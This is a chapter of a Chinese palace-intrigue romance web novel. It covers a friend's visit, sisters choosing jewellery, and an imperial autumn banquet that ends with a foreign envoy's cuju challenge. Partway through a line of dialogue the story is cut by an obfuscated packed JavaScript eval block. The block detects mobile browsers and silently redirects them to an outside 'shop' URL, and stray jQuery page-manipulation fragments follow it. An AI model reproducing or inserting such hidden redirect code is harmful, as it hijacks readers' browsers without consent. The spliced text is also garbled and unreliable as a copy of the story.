这天清晨,有丫鬟进来说宁安候府的小姐来拜访,蒋安沅一听甚是开心,赶紧让人把人请进来。
待看到谢婉凝走进微兰阁院内时,蒋安沅笑着走上前,挽着她的手,亲昵地道:“这是吹了什么风,把你给吹来了。”
谢婉凝笑笑:“这不来给蒋二姑娘赔罪来了嘛。”
“这话何从说起,我倒是不知你有什么罪可赔的。”蒋安沅拉着谢婉凝进屋坐了下来,她朝一旁的丫鬟看去,示意上前添茶。
“上次你在我府上晕倒,我娘很是惦记你,”谢婉凝笑着说道,“这不,让我带了些滋补的东西来看看你。”说完招了招手,身后的丫鬟便将手中的东西交给了朝云。
蒋安沅轻声道:“你我之间何需用这些。再说了,上次的事本就是我自己的关系,又不关旁人什么事,不过,还是要替我谢谢侯夫人。”
“不过,你年纪轻轻的,可要好好养着身子才是。”谢婉凝皱着眉,眼里尽是关切。
“你放心,我没事,许是当天暑气大,这才昏了过去。”蒋安沅笑着回答道。
谢婉凝闻言倒是舒了一口气:“没事就好,不然月底的秋宴你可没福气去了。”
“秋宴?”
见蒋安沅一脸疑惑,谢婉凝随即解释道:“对啊!朝廷每年八月都要举办秋宴。你这病要是迟迟不好,可就去不了皇宫,看不成热闹了。”
蒋安沅随即了然,是了,秋宴是大夏每年都会举行的宴会,皇家设宴于集英殿,皇亲贵胄、文武百官及其家眷皆可参加。
“放心吧,我早就没事了。”蒋安沅笑了笑,眼中闪过了一丝失落,“只是当天没来得及向那位凌公子道声谢。”
“你说凌子卿啊。”谢婉凝不以为然,“正好啊,他应该要去秋宴的,说不定你俩就碰上了呢。”
“但愿吧,他是个好人!”蒋安沅说道。
“还真是,凌子卿诗书满腹,才情出众,为人正派,是个君子。”谢婉凝徐徐说道,“可就是不知为何会跟陆九昭、陈景年那两个纨绔子混在一起,真是不知所谓。”
两人又说了好些话,谢婉凝才出了蒋府。
日迈月征,朝暮轮转,日子一晃眼,三日后便是秋宴了。
因着是宫宴,是以赴宴时,无论是家中有公子或小姐的,都会好好的打扮一翻。
这不,第二天一大早,二叔母身边的陈妈妈便来了东院,说是让蒋字沅去趟老太太那儿,挑一些喜欢首饰。
说到挑首饰,蒋安沅自然是高兴的,拉着朝云、月云便往福安堂去了。
朝云看到蒋安沅笑盈盈地,说道:“姑娘前几年没在京都,都没能去秋宴,这次终于进宫看看了。”
“别是你想去,就赖在姑娘身上吧”月云在一旁笑着说道。
朝云听后,反驳道:“你胡说,我分明就是想着姑娘能看看热闹嘛。”
蒋安沅也没说话,只是笑着看着她们闹,这两个丫头比她大几岁,自小跟着她一起长大,娘亲去了,这几年多亏有她们在身边照顾。
一进福安堂,蒋安沅便向祖母请了安,随后便坐了下来。
曹氏笑着说道:“安沅那,后日就要进宫去了,你看看这些首饰,有喜欢的就挑去戴。”
“二姐姐,祖母和母亲好偏心,偏是要等你来了才能选呢。”在一旁的蒋玉芝说着。
蒋安沅笑着说道:“陈妈妈一来我就往这赶了,没成想还是来迟了些,那这样,三妹妹你喜欢什么先挑就是了,就当是我这个姐姐赔不是了。”
“什么偏心不偏心的,这么多首饰够你们三姐妹挑啊。”堂上的祖母发了话,蒋玉芝才闭了嘴。
其实对于这些首饰,蒋安沅倒是不缺,不过图个心意罢了,所以先选后选的,倒没个所谓,所以她推了推身边的蒋玉妍,示意她先挑。
蒋玉妍望着蒋安沅笑了笑,倒也不拘礼,上前拿了几样,当然蒋玉芝不用管她,她断然是不会亏待了自己个儿的。
姐妹三人挑了各自心仪的首饰后,便向老太太告了别,都回了各自的院子。
秋宴当天
“姑娘,姑娘起床了。”朝云、月云两个丫头喊了半晌,蒋安沅才微微睁开眼睛,由着她们给自己梳洗。
今是要进宫,自是要打扮得体面些的。
朝云给蒋安沅梳了双垂螺髻,配上了昨日挑选首饰,再一身绣罗裙,绣花流苏点缀其间,月云在一旁叹道:“姑娘真好看,再过两三年及笄长开了,定是个美人儿。”
“好你个月云,敢取笑你家姑娘了是不是。”说完,蒋安沅洋装生气地伸手去挠月云的腰,逗得月云咯咯地笑。
待一切收拾好后,便同朝云、月云出了门。
到了门口,正巧看到二叔母和二叔带着蒋文衍、蒋玉芝还有蒋玉妍,还未等蒋安沅开口招呼,曹氏便笑着说道:“瞧瞧我们安沅,平日里穿得素了些,今日华服珍饰相配,竟称得如此娇丽,当真是好看。”
身后的蒋玉芝也是一怔,蒋安沅本就肤白,加之以颜色,更显得艳丽。
“二叔母再夸这么我,我这尾巴可要翘到天上去了!”蒋安沅笑道:“再说,两位妹妹今日也是漂亮得紧呢。”
“大姐姐又拿我说笑。”蒋玉芝娇羞道。
蒋文衍却道:“怎么,你眼中只看到你两个妹妹,却不见不着你的大哥吗?”
“是是是,大哥今日也是玉树临风,貌比潘安!”蒋安沅被他逗得笑出了声。
在马车旁地蒋晟和蒋哲说着什么,听到笑声,蒋晟便催促道:“时候不早了,咱们走吧。”
一上车,蒋晟便叮嘱起了蒋安沅:“安沅那,这宫里不比家中,切不可任性,一切谨言慎行,知道了吗?”
“爹,女儿省得了。”蒋安沅柔声说道。一路便再无话。
一行人到了宫门外,便由宫人领着去了集英殿。
殿内早已是一派热闹景像。教坊司的乐人弹奏着悦耳的曲子,席间也已摆满了美味珍馐和琼浆玉露。
女眷席上,贵妇和小姐们都在有说有笑地闲聊,男子席上亦是攀谈着。
陈景年一看到陆九昭,便拉着他低声道:“诶,这些日子怎么安份起来了,我好几次去找你,他们跟我说你居然去国子监了,真是太阳打西边出来了。”
“你懂什么叫‘真积力久则入,学到乎没而后止也。’,你以为都跟你似的,不务正业!”陆九昭一本正经地说道。
陈景年一征,随后抬手停在了陆九昭的额头上,笃定地说道:“你发烧了!”
陆九昭侧头,不悦地看了眼陈景年,陈景年突年跳开,指着陆九昭,开口道:“太上老君,急急如律令,尔等宵小还不速速离散,待我……”
未等他把话说完,陆九昭低声喝道:“你脑子被驴踢了,在皇宫发什么疯病啊!”
“我不是看你不太正常,怕你被脏东西上身嘛。”陈景年撇了撇嘴,小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464330|141824||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
声道。
“我看你就是脏东西。”陆九昭不耐烦地说着。
可在不经意间,他看到了一女子,觉得甚是眼熟,这不就是那疯丫头嘛,没想到在这里碰上了。
陈景年顺着陆九昭的眼神看了过去,阴阳怪气地说道:“哟,我们陆大公子什么时候开翘了,开始春心萌动了。”
见陆九昭没理他,又道:“你看上哪个了……欸,那小娘子不就是昏过去的蒋家二小姐嘛。你不会又想找人家麻烦吧,人家小娘子长得如花似玉的,你也不……”
回过神来的陆九昭不耐烦地说道:“你胡说八道什么!”
“你俩在这儿嘀咕什么呢?”一旁走过来的凌子卿问道。
“我说这小子一点都不懂怜香惜玉,被我说中了,恼羞成怒了。”陈景年讪讪道。
凌子卿也顺着他们望远处看去,发现是那日同他蹴鞠的姑娘,又听陈景年那般说,以为陆九昭又要对人家姑娘做什么,便正色道:“行之,现在是在皇宫,你可别胡来啊。”
陆九昭回过头来,瞥了两人一眼便回到自己的位子上去了,陈景年又道:“我说吧,恼羞成怒咯!”说完二人也识趣地坐了回去。
此时一内监高声喝道:“皇上、皇后娘娘到!”
众人便纷纷下跪行礼,待到皇帝坐下后,便众人起身。
皇后娘娘自是和皇帝同座,左下首便是以淑妃、贤妃为首的一众妃嫔,右下首便是三位皇子和欣阳公主了。
崇文帝子嗣单薄,只有三位皇子。
大皇子周景晔是郑皇后所生,和欣阳公主是一母同胞,但大皇子却从小体弱,一般只有在这种大场合才露面,是以岳云赛时只有二位皇子出席。
三皇子周景赫和四皇子周景楦才华、品行和样貌尚佳,不分伯仲,但三皇子的母妃淑妃如今正得恩宠,朝中明眼人也看得出,皇帝更疼爱三皇子周景赫一些。
不过四皇子周景楦的母妃贤妃是丞相之女,在朝中的势力亦不可小觑。
帝后就坐,秋宴也就正式开始了。
舞者入场,就着两廊教坊司的乐人演奏的乐曲翩翩起舞。
场下的蒋安沅肚子早已是空空如也,看着席上金银炙焦牡丹饼、蟹肉包儿、姜燥子赤鱼、石首鳝生、青虾辣羹……好想大快朵颐,但又碍着面子,只得小口小口地吃着。
曲终舞毕,只见皇帝开口说道:“今日之宴,是庆社稷安宁,民生富裕,愿百官同朕一同,谋万民福祉!”
话落,众人纷纷举杯共饮。
过后,便是筑球表演。大殿前很快竖立起球门架子,两队队员各着绯、青两色球服上场,乐部吹响哨笛,杖鼓擂动,球员在场上做着各种解数招式,十分精彩,也引得众人拍手叫好。
就在筑球表演结束时,大融使臣却上前,先是对皇帝躬了躬身子,后开口道:“刚才见大夏的筑球表演一时兴起,我大融蹴鞠能手也想与大夏的蹴鞠高人切磋一场,还皇帝陛下恩准。”
此话一出,殿中一片哗然。这融国使者竟在大宴上提出此等要求,无疑是在向我大夏国挑衅,又联想到近来他们在边境频繁骚扰,其用心不言而喻。
对于大融使者的这翻话,崇文皇帝只是淡淡地笑了笑,一双深遂的眼睛仿佛能洞察人心一般,饶有趣味地说道:“哈哈,好,朕也想知道,是你融国利害还是我大夏更胜一筹。”
皇帝言语间略去了蹴鞠二字,便是到了国与国的界线了。